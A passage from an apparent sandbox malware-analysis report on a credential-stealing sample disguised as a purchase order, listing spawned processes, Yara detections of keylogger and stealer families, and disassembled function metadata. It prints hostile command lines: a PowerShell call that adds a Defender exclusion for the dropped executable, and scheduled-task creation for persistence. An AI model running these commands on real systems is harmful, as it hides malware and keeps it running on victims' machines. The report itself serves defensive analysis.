Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:44:23
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe"
Imagebase:	0x440000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:44:23
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:44:23
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp"
Imagebase:	0xb10000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:44:23
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Imagebase:	0xff0000
File size:	2'625'616 bytes
MD5 hash:	0A7608DB01CAE07792CEA95E792AA866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2696625029.000000000794C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'290'240 bytes
MD5 hash:	C0525CFD34E032B8DE30555E54329700
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'225'728 bytes
MD5 hash:	837DCB726B9BB3B6F4FEF3318B9DEEAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Windows\System32\drivers\AppVStrm.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	138'056 bytes
MD5 hash:	BDA55F89B69757320BC125FF1CB53B26
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Windows\System32\drivers\AppvVemgr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	174'408 bytes
MD5 hash:	E70EE9B57F8D771E2F4D6E6B535F6757
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Windows\System32\drivers\AppvVfs.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	154'952 bytes
MD5 hash:	2CBABD729D5E746B6BD8DC1B4B4DB1E1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:44:24
Start date:	28/11/2024
Path:	C:\Windows\System32\AppVClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AppVClient.exe
Imagebase:	0x140000000
File size:	1'348'608 bytes
MD5 hash:	A402C4C181FB483490A130C24E7F84A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:44:25
Start date:	28/11/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	B184A2D21BE1424241C0CC6F3EE4C667
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:44:25
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	D2EAE0B17D8ED7CE90F29615B714FC9B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	16:44:25
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'356'800 bytes
MD5 hash:	644513105C5FAA8D93951A3690E4014C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:44:26
Start date:	28/11/2024
Path:	C:\Windows\System32\msdtc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\msdtc.exe
Imagebase:	0x140000000
File size:	1'278'464 bytes
MD5 hash:	2AF6C23F4C869205351AA38C5DD66D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	16:44:26
Start date:	28/11/2024
Path:	C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Imagebase:	0x140000000
File size:	1'235'968 bytes
MD5 hash:	4C2FEBAD6B92DDA4F72130648DB37727
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	16:44:27
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe
Imagebase:	0x7ff75da10000
File size:	1'432'064 bytes
MD5 hash:	06C13587E9A7AF60860CB6E2C4F3A7B2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:44:27
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\perfhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWow64\perfhost.exe
Imagebase:	0x400000
File size:	1'150'976 bytes
MD5 hash:	3A2A9E48FBD06CF338FA403E33134177
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	16:44:27
Start date:	28/11/2024
Path:	C:\Windows\System32\Locator.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\locator.exe
Imagebase:	0x140000000
File size:	1'141'248 bytes
MD5 hash:	E970472BE732DDA93E40BA89E643BD45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	16:44:27
Start date:	28/11/2024
Path:	C:\Windows\System32\SensorDataService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\SensorDataService.exe
Imagebase:	0x140000000
File size:	1'846'784 bytes
MD5 hash:	02C2C736D5DC9AC9088C92AFC077A118
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:44:27
Start date:	28/11/2024
Path:	C:\Windows\System32\snmptrap.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\snmptrap.exe
Imagebase:	0x140000000
File size:	1'146'880 bytes
MD5 hash:	F35B03B0A56AB372234FE7A532455C96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	16:44:27
Start date:	28/11/2024
Path:	C:\Windows\System32\Spectrum.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\spectrum.exe
Imagebase:	0x140000000
File size:	1'455'616 bytes
MD5 hash:	EA5AC5AC3ADFDE43933DEF676A6978C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:44:28
Start date:	28/11/2024
Path:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\OpenSSH\ssh-agent.exe
Imagebase:	0x140000000
File size:	1'511'424 bytes
MD5 hash:	D09CFE9983E805B17E25ED1928A06826
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	16:44:28
Start date:	28/11/2024
Path:	C:\Windows\System32\TieringEngineService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\TieringEngineService.exe
Imagebase:	0x140000000
File size:	1'455'616 bytes
MD5 hash:	85B511CA7AB5F39352DEB0D3C0A048DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	16:44:28
Start date:	28/11/2024
Path:	C:\Windows\System32\AgentService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AgentService.exe
Imagebase:	0x140000000
File size:	1'801'216 bytes
MD5 hash:	E46CE79404D95E10B788E99FB6C2C36E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:44:28
Start date:	28/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7fb730000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	16:44:28
Start date:	28/11/2024
Path:	C:\Windows\System32\vds.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vds.exe
Imagebase:	0x140000000
File size:	1'303'552 bytes
MD5 hash:	0C54A7E73768E6C53E87391113A18ADF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	16:44:29
Start date:	28/11/2024
Path:	C:\Windows\System32\wbengine.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\wbengine.exe"
Imagebase:	0x140000000
File size:	2'164'736 bytes
MD5 hash:	ADB425AC8592C2AD75F997794106A5E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	16:44:36
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmp15E7.tmp"
Imagebase:	0xb10000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:44:37
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:44:37
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Imagebase:	0xff0000
File size:	2'625'616 bytes
MD5 hash:	0A7608DB01CAE07792CEA95E792AA866
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002A.00000002.2671075234.000000000791C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	255
Total number of Limit Nodes:	14

Executed Functions

Function 09AB0040 Relevance: 7.7, Strings: 4, Instructions: 2671COMMON

Download Yara Rule

Strings

(oq, xrefs: 09AB0116
4'q, xrefs: 09AB0EA3
4'q, xrefs: 09AB1F11
4'q, xrefs: 09AB102B

Memory Dump Source

Source File: 00000000.00000002.1461531912.0000000009AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ab0000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: (oq$4'q$4'q$4'q
API String ID: 0-2528434116
Opcode ID: bdb07bde36dc7bd1a790b1401d30081d436fd336f3dd6935a5628d39ae7343e8
Instruction ID: 58b6c53163dda29e4cbc2d56a4aa2766944f1de04d73e5863dc2552cbd3f5920
Opcode Fuzzy Hash: bdb07bde36dc7bd1a790b1401d30081d436fd336f3dd6935a5628d39ae7343e8
Instruction Fuzzy Hash: 44530A74A01219CFDB64CF28C898B9DB7B6BF89710F158599E819AB365CB30ED81CF50

Function 05700E3E Relevance: 2.7, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 05700F2B
Teq, xrefs: 05701066

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: Teq$Teq
API String ID: 0-2938103587
Opcode ID: e948bb1721190efd243292d1931245f174659d88c333a7bfe57007ca47cbfab5
Instruction ID: f41028c148ddc222cb201b7159bb66eb69fc427ed3c46f05ce997ce8cb9190c9
Opcode Fuzzy Hash: e948bb1721190efd243292d1931245f174659d88c333a7bfe57007ca47cbfab5
Instruction Fuzzy Hash: F3616975B04214CFDB04DB74C849B6FBBF2EB86320F5590AAD405FB2A2C6709801EB51

Function 05701A03 Relevance: 1.7, Strings: 1, Instructions: 409COMMON

Download Yara Rule

Strings

4*}, xrefs: 057022B0

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: 4*}
API String ID: 0-1306871344
Opcode ID: e42c467f5109602b1b7e2910e2805c13b0bad51ff84f875793da56931f2b776d
Instruction ID: 112656a7a63f956f302c844a2e9d6d2e8408846a0ac7fcc29e89cd90ddf5d1f0
Opcode Fuzzy Hash: e42c467f5109602b1b7e2910e2805c13b0bad51ff84f875793da56931f2b776d
Instruction Fuzzy Hash: A7E1267B918215DFC705CFA4C888E59BBF2FB99700B97A4A6D001AF2A3C731D911EB45

Function 057021DB Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

4*}, xrefs: 057022B0

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: 4*}
API String ID: 0-1306871344
Opcode ID: af28f80e679be6cc810e977e5e933c9280c8702232b03df8c3fe67e6904f64b0
Instruction ID: 0a6c5478035156ccb858a26c815e0018302380f783dc2e9c1e4cd3bdd3678771
Opcode Fuzzy Hash: af28f80e679be6cc810e977e5e933c9280c8702232b03df8c3fe67e6904f64b0
Instruction Fuzzy Hash: 29A1E13B508111DFC715CFA4D888D65BBF6BB59300793A5A2D501AF2E3C730E961EB89

Function 0F261F70 Relevance: .6, Instructions: 622COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1473741956.000000000F260000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f260000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cb65df41491cf14cc2fb26f5f2ff154cfb95816abae33cb62441453fb77689f
Instruction ID: 19b1d6386a1c1a19090ef599c13759731468f0e6faf68c0f9a0a1fc9dadd1e2e
Opcode Fuzzy Hash: 8cb65df41491cf14cc2fb26f5f2ff154cfb95816abae33cb62441453fb77689f
Instruction Fuzzy Hash: FD329970B11205CFDB28DBA9C594BAEB7F6AF89700F244469E506DB3E2CB34E941CB51

Function 0B5028D8 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b8af0d159840ee47216a98606a22774dc830c5a10391b175cb97bbc1809054
Instruction ID: 1ced0f6c1700887ca05df86c164c26aeb3939c8b9b0f954ad876f1cee180c83e
Opcode Fuzzy Hash: d3b8af0d159840ee47216a98606a22774dc830c5a10391b175cb97bbc1809054
Instruction Fuzzy Hash: F7B1D174D1421DCFEB24CFA9C8487AEBBF6BF89300F1084AAD519A7291DB754A85CF40

Function 0B5028E8 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aee964b9866ea698c1ba28f1b40e7577e17e761a7f1b591024f4319d882516f
Instruction ID: 69a05c3aa9138fcfb23860d60e9c28c312c2bdc1067746a29193b6df274f5840
Opcode Fuzzy Hash: 7aee964b9866ea698c1ba28f1b40e7577e17e761a7f1b591024f4319d882516f
Instruction Fuzzy Hash: 5DA1E274D1422CCFEB14CFA9C8487EEBBF6BB89300F1094A9D519A7291DB754985CF40

Function 0F260283 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1473741956.000000000F260000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f260000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437e0ef137ce93116e783544097fd354c62de72b50dba34d0101aab97daac1da
Instruction ID: 585d5cb8fbd8eeab5dc9c398d835fffd3fd20728e10172258ca8009b4d5b382a
Opcode Fuzzy Hash: 437e0ef137ce93116e783544097fd354c62de72b50dba34d0101aab97daac1da
Instruction Fuzzy Hash: F4C01222D7D049D7CB008EB4A4180F8FB3CDA8F16EB0572E1814F560139AA082AAEB48

Function 0B50CACD Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0B50CD0E

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1ea945fea565ded9d2fcc95806759daca98d49bc52c7e0eb38c35d2db47b5401
Instruction ID: 088a3147a28e8fc64c6ddbc562bcda3dd8f0a29d5253f660c04c40d103388f6f
Opcode Fuzzy Hash: 1ea945fea565ded9d2fcc95806759daca98d49bc52c7e0eb38c35d2db47b5401
Instruction Fuzzy Hash: 71A15C71D107599FEB24DFA8C841BDDBBB2FF49310F1482A9E818A7280DB749985CF91

Function 0B50CAD8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0B50CD0E

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a0d9fdd11e0c5e96c197f81ba750b65b67b31543c898fae5f7ea7c2f9b14ba87
Instruction ID: dcd34ee197cb696d99b24fb1cd913b403a9d8948aedec83042dad2c33d425e70
Opcode Fuzzy Hash: a0d9fdd11e0c5e96c197f81ba750b65b67b31543c898fae5f7ea7c2f9b14ba87
Instruction Fuzzy Hash: 84914C71D106599FEB24DFA8C841BDDBBB2FF49310F1482A9E818A7280DB749985CF91

Function 05708FE4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 057090A1

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 167ccad280bee5eddde9599e936ddf9ee4f6a342a149d1394a6568b41d915717
Instruction ID: 716eb5d879fffa860b7e9bb3fb7410dabe5f135b7c26e1d41fe599c696f1a3ac
Opcode Fuzzy Hash: 167ccad280bee5eddde9599e936ddf9ee4f6a342a149d1394a6568b41d915717
Instruction Fuzzy Hash: F54100B1D0071ACFEB24CFA9C84478DBBF1BF48314F20816AD418AB291DB75694ACF60

Function 05707BAC Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 057090A1

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9d9bd698775383b2229127e452d255a1ec57e043a957eff4fda5bde9a0793619
Instruction ID: 279a1b14f101b555b733f41e6d78c4fd98de31e5d8bf025cd9e3dce6f7e2e612
Opcode Fuzzy Hash: 9d9bd698775383b2229127e452d255a1ec57e043a957eff4fda5bde9a0793619
Instruction Fuzzy Hash: 4C41E2B1D0071DCBDB24DFA9C844B8EBBF5BF48314F20816AD508AB251DB75694ACF90

Function 09AB9A34 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09ABAA1D,?,?), ref: 09ABAACF

Memory Dump Source

Source File: 00000000.00000002.1461531912.0000000009AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ab0000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 33d8b77e859b21fbd4cdf1c60ea4f52f40a4c4b9790dc5f1e675f5d1664ab7bb
Instruction ID: 45437f0b0726320ceec96e45537c4f6e3bc8b0cdfea185d3bbb9df2c4bc5a063
Opcode Fuzzy Hash: 33d8b77e859b21fbd4cdf1c60ea4f52f40a4c4b9790dc5f1e675f5d1664ab7bb
Instruction Fuzzy Hash: C531F1B5D003099FDB10CF9AD984ADEBBF8EB48320F54842EE818A7310D774A904CFA0

Function 09ABAA30 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09ABAA1D,?,?), ref: 09ABAACF

Memory Dump Source

